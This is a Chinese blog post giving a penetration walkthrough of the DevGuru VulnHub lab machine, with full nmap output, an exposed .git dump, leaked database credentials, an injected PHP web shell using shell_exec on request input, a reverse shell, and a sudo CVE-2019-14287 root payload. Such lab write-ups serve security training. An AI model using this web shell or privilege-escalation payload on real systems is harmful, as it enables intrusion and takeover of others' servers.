devguru渗透笔记
信息收集

kali ip

目标ip

首先我们扫描一下开放端口

 nmap -A -p- 192.168.20.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-18 10:41 CST
Nmap scan report for bogon (192.168.20.143)
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git:
| 192.168.20.143:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=3fa58b0407bb4cfd; Path=/; HttpOnly
| Set-Cookie: _csrf=1i6eRR0jsBy2m3oVLV7XjbmTO3Y6MTYzOTc5NTMyOTAyODgyNzUyOQ; Path=/; Expires=Sun, 19 Dec 2021 02:42:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 18 Dec 2021 02:42:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=e9eacdab4eb43047; Path=/; HttpOnly
| Set-Cookie: _csrf=YyIv1BjKfPG8puskKPj8fZUT62c6MTYzOTc5NTMyOTA0MjA2MDQ2Nw; Path=/; Expires=Sun, 19 Dec 2021 02:42:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 18 Dec 2021 02:42:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.91%I=7%D=12/18%Time=61BD4A81%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=3fa58b0407bb4cfd
SF:;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=1i6eRR0jsBy2m3oVLV7Xjb
SF:mTO3Y6MTYzOTc5NTMyOTAyODgyNzUyOQ;\x20Path=/;\x20Expires=Sun,\x2019\x20D
SF:ec\x202021\x2002:42:09\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEO
SF:RIGIN\r\nDate:\x20Sat,\x2018\x20Dec\x202021\x2002:42:09\x20GMT\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"
SF:viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<m
SF:eta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title
SF:>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<lin
SF:k\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-
SF:credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">
SF:\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20
SF:a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pa
SF:inless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2
SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=e9eacdab4
SF:eb43047;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=YyIv1BjKfPG8pus
SF:kKPj8fZUT62c6MTYzOTc5NTMyOTA0MjA2MDQ2Nw;\x20Path=/;\x20Expires=Sun,\x20
SF:19\x20Dec\x202021\x2002:42:09\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nDate:\x20Sat,\x2018\x20Dec\x202021\x2002:42:09\x20GMT\r
SF:\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\
SF:n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20
SF:name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\"
SF:>\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\
SF:t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/ma
SF:nifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"t
SF:heme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20con
SF:tent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<m
SF:eta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x2
SF:0c");
MAC Address: 00:0C:29:49:16:E8 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms bogon (192.168.20.143) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.30 seconds

开放了22,80,8585端口,内核版本认为是Linux4.x或5.x的版本,在80端口处提示了一个域名,那我们将域名和ip地址手动进行绑定一下

我们再看nmap扫描得出的结果这里发现一个.git的目录,这时候我们就想到可以将这个目录导出来,推荐使用gitdump,但我这里使用githacker使用习惯了我就使用githacker了

我们来看一下看看git仓库有什么样的信息

我们先来看一下README.md

简单看了一下就是辅助安装文档以及安装的最低要求

到config里面看看有没有什么信息

我们先看一下app.php里面的东西

大致就存储的一些信息没啥用

然后我们来看一下database.php的相关信息

这里我们意外发现mysql的登录用户名和密码

然后在仓库文件夹中发现adminer.php我们去搜一下这东西

经过搜索发现原来是数据库管理工具

然后我们去80端口看看,成功进入登录页面

然后我们使用mysql用户名密码登录

成功登录

然后我们尝试爆破一下目录

扫描到这个感觉像后台登录地址

测试了一下果真

然后我们去看一下数据库里面的数据看看有没有关于用户名密码的

发现一个用户名密码

然后我们去看一下后台组的情况

只有一个,网站拥有组的权限,所有用户只有一个组网站拥有组

然后我们去看一下用户名和用户密码,密码是一种加密的方式显示出来的,我们去搜搜看密码前几位,看看能不能搜出相关的加密方式还真能搜到

我们搜搜看有没有在线加密工具搜到了链接如下

https://www.jisuan.mobi/p163u3BN66Hm6JWx.html

然后我们Rounds使用默认的即可,密码就设置为123456

然后我们到数据库中修改值

然后我们去登陆,成功登入后台

漏洞利用

在CMS这个栏发现有编辑代码的功能,我们自己来构造一个恶意代码

代码内容

function onStart()
{
$this->page['myVar']=shell_exec($_REQUEST['cmd']);
}

在Makeup这栏把东西加上去

然后我们保存并尝试到前端去执行指令

成功执行,建立反向连接shell,并将它保存到shell.php中

然后我们在kali搭建一个简单的网站服务,并且将shell上传到服务器中

使用msfconsole进行监听

浏览器访问shell

成功连接

查看当前权限

使用python建立交互式提示符

python3 -c "import pty;pty.spawn('/bin/bash')"#靶机没有python2要用python3执行

然后到处找找在/var发现备份文件然后我们将他下载下来看看

我们来看看app.ini.bak

又发现一组数据库信息我们去登录又发现一组用户名密码但密码是加密的我们重点看这个提示

由于我没找到如何解开这段密文,那我们就修改加密方式并把密文改掉

这个站点在8585端口还有个东西我们访问一下,然后尝试登录,最后发现成功登录

到处看看发现这里我们是可以输入的

我们尝试在这里构造一段恶意代码,然后看看能返回什么权限

msf设置监听

生成恶意代码

上传恶意代码

下面就是想办法触发

我们在仓库那里发现是可以编辑的我们多加点空行即可触发

查看一下权限

发现已经是普通用户权限

就发现了flag

提权

sudo -l 检查sudo命令执行的情况

发现命令结果

有这样的配置,同时sudo命令版本低于1.8.27所以判断存在CVE-2019-14287漏洞,使用payload进行提权

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

获得root权限

修改SSH配置文件使用SSH连接

sed -i "s/PasswordAuthenication no/PasswordAuthentication yes/" /etc/ssh/sshd_config

SSH连接成功

vulnhub devguru渗透笔记的更多相关文章

  1. vulnhub mrRobot渗透笔记

    mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...

  2. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  3. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  4. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  5. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  6. backtrack5渗透 笔记

    目录        1.信息收集        2.扫描工具        3.漏洞发现        4.社会工程学工具        5.运用层攻击msf        6.局域网攻击       ...

  7. DVWA渗透笔记

    Command Injection Low <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ ...

  8. VulnHub靶场渗透之:Gigachad

    环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...

  9. MSF 内网渗透笔记

    进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...

随机推荐

  1. 时间模块 time 随机模块random os模块,sys模块

    时间模块  time #时间模块 import time #三种格式 #时间戳时间:是一个浮点数,以秒为单位,计算机用语 #结构化时间 :是一个元组 #用于中间转换 #格式化时间:str数据类型, 用 ...

  2. flask 数据库一节笔记

    笔记一:os.path的用法:1. os.path.dirname(__file__)   返回当前脚本的执行路径,__file__为固定参数2. os.path.abspath(file)     ...

  3. MySQL—索引(Index)

    前言: 关于MySql索引数据结构和实现原理的讲解值得阅读一下: 实现原理:https://www.cnblogs.com/songwenjie/p/9415016.htm 索引数据结构:https: ...

  4. onGUI常用脚本学习(引用)

    https://blog.csdn.net/Hannah1221/article/details/101941174?spm=1001.2101.3001.6650.3&utm_medium= ...

  5. HTTP与HTTPS有什么区别

    超文本传输协议HTTP协议被用于在Web浏览器和网站服务器之间传递信息,HTTP协议以明文方式发送内容,不提供任何方式的数据加密,如果攻击者截取了Web浏览器和网站服务器之间的传输报文,就可以直接读懂 ...

  6. 什么是B+树??

    上一篇中,我们了解了B树,辣么..B+树又是什么呢?? 一:定义:B+树是基于B树的,是B树的变形,也是一种多路搜索树.查询性能更加出色. 1.每个父节点元素出现在子节点中,是子节点的最大或最小元素. ...

  7. 外部类能用private、protected修饰吗?内部类可以用private、protected修饰吗?

    外部类不能用private.protected修饰不能.内部类能用private.protected修饰不能. 外部类的上一级程序单位是包,因此它只有两个使用范围:包内和包外,因此它只能用public ...

  8. URL转义特定字符

    import java.net.URLDecoder; import java.net.URLEncoder; import java.nio.charset.Charset; // 实例代码 Str ...

  9. java程序如何确保多线程的运行安全?

    线程的安全问题体现在: 原子性:一个或多个操作在CPU执行过程中不被中断的特性 可见性:一个线程对共享变量的修改,另一个线程能立刻看到 有序性:程序执行的顺序按照代码的先后顺序执行 导致线程存在安全问 ...

  10. 两个链表有一个交点,如何在时间复杂度 O(n) 和 空间复杂度 O(1) 的条件下实现?_字节跳动面试题

    输入两个链表,找出它们的第一个公共结点 我们可以首先遍历两个链表得到它们的长度,就能知道哪个链表比较长, 我们可以首先遍历两个链表得到它们的长度,就能知道哪个链表比较长,以及长的链表比短的链表多几个结 ...